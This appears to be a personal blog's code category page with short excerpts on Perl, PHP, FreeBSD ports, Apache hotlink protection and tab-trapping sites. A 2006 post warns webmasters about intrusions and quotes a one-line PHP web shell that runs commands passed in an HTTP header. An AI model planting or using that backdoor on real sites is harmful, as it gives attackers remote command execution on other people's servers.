Published by dpk on Jul 25th, 2008 in Code with No Comments
This may be old news for people more familiar with perl internals.
dpk@dpk1:~$ perl -version | head -2
This is perl, v5.8.8 built for i486-linux-gnu-thread-multi
dpk@dpk1:~$ cat test1.pl
#!/usr/bin/perl
use strict;
my $x = 0;
while ($x < 100)
{
&doit();
$x++;
}
sub doit() {
my $foo = ‘foobar’; my $x = 0; my $y = 0;
while ($x < [...]
Tags:
Published by dpk on Jan 8th, 2008 in Code with 4 Comments
There are sites out there (in the tired “Rick Roll” category) that make it hard to close a tab, by adding hooks that allow for dozens or hundreds of alert dialog boxes to appear, preventing the tab from closing. One is http://www.internetisseriousbusiness.com. Don’t go to this site, unless you want to see the bug in [...]
Tags:
Published by dpk on Jul 19th, 2007 in Code with No Comments
The pdf extension library shipped with PHP-4.4.7 doesn’t work, and it’s a known “non-bug”. I’m not sure why they still ship the broken library. I installed the PECL version, via pear (my first time trying that), and that was pretty painless. It created a pdf.so and put it in some long /usr/local/lib path. So I [...]
Tags:
Published by dpk on Feb 27th, 2006 in Code with No Comments
Are you a webmaster who is concerned about hackers infesting your sites? Well, be on the look out for crud like this:
<? passthru(getenv(“HTTP_ACCEPT_jayman”)); ?>
This script can be used by sending whatever command you want in a “Accept-jayman:” HTTP header. “jayman” is just an example (a prevelant one), it could be anything. This can be placed [...]
Tags:
Published by dpk on Mar 21st, 2005 in Code with 2 Comments
When is stability going to finally trump features?
In just about anything related to computers, there’s a tug of war between adding new features or fixing bugs. … in the general computing world, people don’t get sued for bugs, and adding new features is much more fun and sexy than fixing bugs.
I’m in total agreement [...]
Tags:
Published by dpk on Feb 2nd, 2005 in Code, FreeBSD, General with 2 Comments
If you ever find yourself in my situation, where installing some updated port from a relatively freshly done cvsup ends up breaking a couple dozen other programs because it decided to upgrade several libraries, you might find the following for loop useful:
cd /usr/X11R6/bin && for m in $(for l in $(for j in $(for i [...]
Tags:
Published by dpk on Nov 15th, 2004 in Code, General with No Comments
mod_hotlink is some software I wrote ages ago to deal with the problem of how to politely* prevent one site from linking to images on another, without using tons of CPU (as does mod_rewrite solutions)
From the README:
Protects non-text content against “hotlinking” – a method for stealing
bandwidth by linking images and content from other websites to [...]
Tags: